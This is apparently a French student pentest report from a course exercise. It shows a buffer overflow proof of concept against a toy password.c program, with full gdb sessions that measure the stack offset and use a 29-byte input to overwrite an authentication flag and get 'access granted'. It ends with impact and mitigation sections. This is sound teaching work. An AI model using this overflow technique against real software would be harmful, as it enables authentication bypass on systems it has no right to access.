Pentest Vulnerability Report

# Titre de la vulnérabilité

Memory corruption by buffer overflow

# Description de la vulnérabilité

Nous allons exploiter un buffer overflow pour modifier une variable durant l’exécution du programme et modifier son comportement.

# Éléments affectés

Fichier *password.c* de l’exercice 3 de la séance 1.

# Préalables

Le code source du programme *password.c* est donné.

# Mise en place

Ce proof of concept est conçu sur une machine virtuelle Kali Linux 64 bits.

Nous compilons le programme avec la commande :

* gcc -g -o password password.c

# Proof of concept

En analysant le code source du programme, nous pouvons trouver l’utilisation d’une fonction vulnérable aux buffer overflows : la fonction *strcpy*.

Nous remarquons également la présence de deux variables dans la fonction *check\_password* :

* *password\_*buffer, le buffer au sein duquel notre input sera copié et que nous pourrons dépasser via un buffer overflow.
* *checked*, une variable utilisée comme drapeau par le programme pour contrôler la suite de son exécution.

Nous commençons par vérifier l’agencement de la mémoire du programme, afin de découvrir ce que nous allons pouvoir modifier avec un buffer overflow.

Nous lançons le programme *password* dans gdb, et nous faisons une première exécution avec un argument quelconque afin que gdb puisse initialiser ses adresses.

┌──(sebstreb㉿kali-cli)-[~/cyber/cours1]

└─$ gdb password

GNU gdb (Debian 13.2-1) 13.2

Copyright (C) 2023 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86\_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<https://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from password...

(gdb) run test

Starting program: /home/sebstreb/cyber/cours1/password test

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Bad password!

[Inferior 1 (process 1014) exited normally]

Nous mettons ensuite un breakpoint au début de la fonction *check\_password*, et nous exécutons de nouveau le programme avec un argument quelconque pour se retrouver dans l’exécution du programme au niveau de ce breakpoint. Nous utilisons alors *info locals* pour retrouver le nom des variables de la fonction. Nous utilisons ensuite la fonction *print* pour afficher l’adresse de ces différentes variables.

(gdb) b check\_password

Breakpoint 1 at 0x555555555165: file password.c, line 5.

(gdb) run test

Starting program: /home/sebstreb/cyber/cours1/password test

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Breakpoint 1, check\_password (password=0x7fffffffe4ed "test") at password.c:5

5 int checked = 0;

(gdb) info locals

checked = 0

password\_buffer = '\000' <repeats 15 times>

(gdb) p &checked

$1 = (int \*) 0x7fffffffe0ac

(gdb) p &password\_buffer

$2 = (char (\*)[16]) 0x7fffffffe090

Nous pouvons calculer de cette façon que la variable *checked* se trouve à la suite de la mémoire du programme, 28 octets après le début du buffer. Le buffer lui-même fait 16 octets, et la variable *checked* occupe 4 octets. Nous pouvons deviner que les 12 octets entre le buffer et la variable correspondent à du padding introduit par le compilateur, les systèmes 64 bits préférant aligner les variables sur des blocs de 16 octets.

Nous utilisons ensuite la fonction *x* pour mieux visualiser le contenu de la mémoire. Nous avançons dans l’exécution du programme afin d’afficher notre input recopié dans le buffer.

(gdb) x/8xw password\_buffer

0x7fffffffe090: 0x00000000 0x00000000 0x00000000 0x00000000

0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000

(gdb) n

8 strcpy(password\_buffer, password);

(gdb) n

10 if (strcmp(password\_buffer, "good") == 0) {

(gdb) x/8xw password\_buffer

0x7fffffffe090: 0x74736574 0x00000000 0x00000000 0x00000000

0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000

Nous pouvons retrouver dans la mémoire notre buffer, allant de l’adresse 0x7fffffffe090 à l’adresse 0x7fffffffe09f, et la variable *checked* allant de l’adresse 0x7fffffffe0ac à l’adresse 0x7fffffffe0af. Et nous pouvons voir le contenu de notre input recopié dans le buffer suite à l’instruction *strcpy*.

Nous allons maintenant relancer le programme avec un input suffisamment grand pour modifier la valeur de la variable *checked*. Cette variable se trouvant 28 bytes après le buffer, il faut un input de minimum 29 bytes pour la modifier.

(gdb) run $(python2 -c "print 'A'\*29")

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/sebstreb/cyber/cours1/password $(python2 -c "print 'A'\*29")

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Breakpoint 1, check\_password (password=0x7fffffffe4d4 'A' <repeats 29 times>) at password.c:5

5 int checked = 0;

(gdb) x/8xw password\_buffer

0x7fffffffe070: 0x2f726562 0x72756f63 0x702f3173 0x77737361

0x7fffffffe080: 0x00000000 0x00000000 0x00000000 0x00000000

(gdb) n

8 strcpy(password\_buffer, password);

(gdb) n

10 if (strcmp(password\_buffer, "good") == 0) {

(gdb) x/8xw password\_buffer

0x7fffffffe070: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffe080: 0x41414141 0x41414141 0x41414141 0x00000041

(gdb) p checked

$3 = 65

(gdb) c

Continuing.

access granted

[Inferior 1 (process 1479) exited normally]

Nous relançons le programme avec notre input, et nous affichons le contenu de la mémoire avant et après l’écriture du buffer. Nous pouvons voir que la variable *checked* passe de la valeur 0x0 à la valeur 0x41. Nous pouvons également afficher la valeur de la variable avec la fonction *print*, et voir quelle vaut 65 au lieu de 0. De cette façon, la fonction *check\_password* va renvoyer une valeur différent de 0, et la conditionnelle dans la fonction main sera considérée comme vraie.

En continuant l’exécution du programme, nous voyons que nous arrivons à afficher le message de réussite sans avoir écrit le bon mot de passe.

# Impact

Avec cette vulnérabilité, un utilisateur du programme *password* pourrait accéder au comportement du programme correspondant à l’utilisation d’un mot de passe sans avoir besoin de connaître celui-ci.

# Mitigation

Pour éviter ce problème, il est nécessaire d’empêcher le buffer overflow. Cela peut être fait en utilisant la fonction *strncpy* plutôt que *strcpy*, ou en faisant une vérification de la taille de l’argument avant de le recopier dans un buffer trop petit.